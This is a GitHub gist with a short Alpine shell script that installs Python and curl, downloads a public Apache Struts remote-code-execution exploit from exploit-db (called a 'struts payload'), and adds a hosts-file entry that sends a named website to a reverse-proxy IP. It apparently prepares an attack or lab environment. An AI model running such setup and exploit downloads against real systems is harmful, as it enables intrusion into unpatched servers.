Skip to content

Instantly share code, notes, and snippets.

@garygan89
Last active November 30, 2021 04:16
Show Gist options
  • Save garygan89/86ab9313084eba48453cfdd3d5c9a8ea to your computer and use it in GitHub Desktop.
Save garygan89/86ab9313084eba48453cfdd3d5c9a8ea to your computer and use it in GitHub Desktop.
#!/bin/sh
REVERSE_PROXY_IP="192.168.10.42"
apk update
apk add python3
apk add py3-pip
apk add curl
# setup struts payload
echo "Download struts payload..."
wget https://raw.githubusercontent.com/offensive-security/exploitdb/master/exploits/linux/remote/42627.py
# add dns
echo "Adding dns route: 192.168.10.42 website.fiduciaedge.io"
echo "$REVERSE_PROXY_IP website.fiduciaedge.io" >> /etc/hosts
echo "All done!"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment